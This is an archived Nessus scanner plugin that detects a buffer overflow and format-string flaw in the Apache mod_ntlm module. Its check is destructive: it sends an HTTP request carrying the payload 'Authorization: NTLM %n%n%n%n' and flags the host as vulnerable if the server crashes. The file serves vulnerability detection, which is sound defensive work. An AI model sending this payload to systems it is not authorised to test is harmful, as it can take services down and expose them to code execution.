home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / mod_ntlm.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  105 lines

  1. #
  2. # This script was written by Renaud Deraison
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # Ref:
  7. # From: "Matthew Murphy" <mattmurphy@kc.rr.com>
  8. # To: "BugTraq" <bugtraq@securityfocus.com>
  9. # Subject: Remote Vulnerabilties in mod_ntlm
  10. # Date: Mon, 21 Apr 2003 12:11:43 -0500
  11.  
  12.  
  13.  
  14. if(description)
  15. {
  16.  script_id(11552); 
  17.  script_bugtraq_id(7388, 7393);
  18.  
  19.  script_version("$Revision: 1.5 $");
  20.  
  21.  name["english"] = "mod_ntlm overflow / format string bug";
  22.  script_name(english:name["english"]);
  23.  
  24.  desc["english"] = "
  25. The remote host seems to be running mod_ntlm, a NTLM authentication
  26. module for Apache.
  27.  
  28. There is a buffer overflow as well as a format string issue in this server
  29. which may be used by an attacker to execute arbitrary code on this host.
  30.  
  31. Solution : None at this time - disable NTLM authentication
  32. Risk factor : High";
  33.  
  34.  script_description(english:desc["english"]);
  35.  
  36.  summary["english"] = "mod_ntlm overflow / format string";
  37.  
  38.  script_summary(english:summary["english"]);
  39.  script_category(ACT_DESTRUCTIVE_ATTACK);
  40.  script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison");
  41.  family["english"] = "Gain a shell remotely";
  42.  script_family(english:family["english"]);
  43.  script_dependencie("find_service.nes", "http_version.nasl", "webmirror.nasl");
  44.  script_require_ports("Services/www", 80);
  45.  script_require_keys("www/apache");
  46.  exit(0);
  47. }
  48.  
  49. include("http_func.inc");
  50. include("http_keepalive.inc");
  51.  
  52. port = get_http_port(default:80);
  53.  
  54.  
  55.  
  56. if(!get_port_state(port))exit(0);
  57.  
  58.  
  59. function check(loc)
  60. {
  61.   local_var req, res, soc, r;
  62.  
  63.   req = http_get(item:loc, port:port);
  64.   res = http_keepalive_send_recv(port:port, data:req);
  65.   if( res == NULL ) exit(0);
  66.  
  67.   if("WWW-Authenticate: NTLM" >< res )
  68.   {
  69.   req = string("GET ", loc, " HTTP/1.1\r\n",
  70. "Host: ", get_host_name(), "\r\n",
  71. "Authorization: NTLM nnnn\r\n\r\n");
  72.   soc = http_open_socket(port);
  73.   if(!soc)exit(0);
  74.  
  75.   send(socket:soc, data:req);
  76.   r = http_recv(socket:soc);
  77.   if(!r)exit(0);
  78.   close(soc);
  79.  
  80.  
  81.   req = string("GET ", loc, " HTTP/1.1\r\n",
  82. "Host: ", get_host_name(), "\r\n",
  83. "Authorization: NTLM %n%n%n%n\r\n\r\n");
  84.  
  85.  
  86.   soc = http_open_socket(port);
  87.   if(!soc)exit(0);
  88.  
  89.   send(socket:soc, data:req);
  90.   r = http_recv(socket:soc);
  91.   if(!r){security_hole(port); exit(0); }
  92.   close(soc);
  93.  }
  94. }
  95.  
  96. pages = get_kb_list(string("www/", port, "/content/auth_required"));
  97. if(isnull(pages)) pages = make_list("/");
  98. else pages = make_list("/", pages);
  99.  
  100.  
  101. foreach page (pages)
  102. {
  103.  check(loc:page);
  104. }
  105.